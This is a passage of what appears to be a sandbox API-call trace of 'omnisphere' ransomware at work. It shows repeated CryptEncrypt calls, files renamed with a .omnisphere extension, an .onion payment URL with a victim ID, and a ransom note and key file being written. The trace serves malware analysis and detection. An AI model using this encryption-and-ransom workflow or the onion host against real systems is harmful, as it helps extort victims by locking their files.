pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.193] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.194] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.195] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.196] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.196] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.196] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.196] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.196] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.196] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.196] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.197] CryptDestroyKey (hKey=0x16396e8) returned 1 [0063.197] CryptReleaseContext (hProv=0x163c5a8, dwFlags=0x0) returned 1 [0063.197] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x5a09, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.197] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.197] GetProcessHeap () returned 0x1600000 [0063.197] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x28a) returned 0x16531f8 [0063.198] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\gRmt1-B0wood4cXHs.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\grmt1-b0wood4cxhs.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\gRmt1-B0wood4cXHs.png.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\grmt1-b0wood4cxhs.png.omnisphere")) returned 1 [0063.199] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\gRmt1-B0wood4cXHs.png.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\gRmt1-B0wood4cXHs.png.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\gRmt1-B0wood4cXHs.png.omnisphere.id" [0063.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\gRmt1-B0wood4cXHs.png.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\grmt1-b0wood4cxhs.png.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.199] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.200] CloseHandle (hObject=0x3a8) returned 1 [0063.208] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0063.208] CloseHandle (hObject=0x3a4) returned 1 [0063.208] SetEndOfFile (hFile=0x3a0) returned 1 [0063.208] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.212] CloseHandle (hObject=0x3a0) returned 1 [0063.212] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\gRmt1-B0wood4cXHs.png" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.212] GetProcessHeap () returned 0x1600000 [0063.212] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164d4c0 [0063.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.213] GetProcessHeap () returned 0x1600000 [0063.213] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641980 [0063.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641980, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.213] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.213] GetProcessHeap () returned 0x1600000 [0063.213] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f8f0 [0063.213] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f8f0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.213] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.213] GetProcessHeap () returned 0x1600000 [0063.213] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c278 [0063.213] PathCombineW (in: pszDest=0x163c278, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.213] GetProcessHeap () returned 0x1600000 [0063.213] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16570c8 [0063.213] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.213] WriteFile (in: hFile=0x3a0, lpBuffer=0x16570c8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x16570c8*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.214] CloseHandle (hObject=0x3a0) returned 1 [0063.214] GetProcessHeap () returned 0x1600000 [0063.214] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164d4c0 | out: hHeap=0x1600000) returned 1 [0063.214] GetProcessHeap () returned 0x1600000 [0063.214] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fc00 [0063.214] PathCombineW (in: pszDest=0x163fc00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.214] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.214] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.214] CloseHandle (hObject=0x3a0) returned 1 [0063.215] GetProcessHeap () returned 0x1600000 [0063.215] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fc00 | out: hHeap=0x1600000) returned 1 [0063.215] GetProcessHeap () returned 0x1600000 [0063.215] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163c498 | out: hHeap=0x1600000) returned 1 [0063.215] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa84bfe40, ftCreationTime.dwHighDateTime=0x1d4c892, ftLastAccessTime.dwLowDateTime=0xf4d21e50, ftLastAccessTime.dwHighDateTime=0x1d4d5cd, ftLastWriteTime.dwLowDateTime=0xf4d21e50, ftLastWriteTime.dwHighDateTime=0x1d4d5cd, nFileSizeHigh=0x0, nFileSizeLow=0x16694, dwReserved0=0x0, dwReserved1=0xed, cFileName="hHGe8VXor0p6BX.m4a", cAlternateFileName="HHGE8V~1.M4A")) returned 1 [0063.215] GetProcessHeap () returned 0x1600000 [0063.215] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fe00 [0063.215] PathCombineW (in: pszDest=0x163fe00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="hHGe8VXor0p6BX.m4a" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\hHGe8VXor0p6BX.m4a") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\hHGe8VXor0p6BX.m4a" [0063.215] StrStrW (lpFirst=".omnisphere", lpSrch=".m4a") returned 0x0 [0063.215] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\hHGe8VXor0p6BX.m4a" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hhge8vxor0p6bx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.216] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=91796) returned 1 [0063.216] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x16170, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.216] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.217] GetTickCount () returned 0x11501e1 [0063.218] GetTickCount () returned 0x11501e1 [0063.218] GetTickCount () returned 0x11501e1 [0063.218] GetTickCount () returned 0x11501e1 [0063.218] GetTickCount () returned 0x11501e1 [0063.218] GetTickCount () returned 0x11501e1 [0063.218] GetTickCount () returned 0x11501e1 [0063.218] GetTickCount () returned 0x11501e1 [0063.218] GetTickCount () returned 0x11501e1 [0063.218] GetTickCount () returned 0x11501e1 [0063.218] GetTickCount () 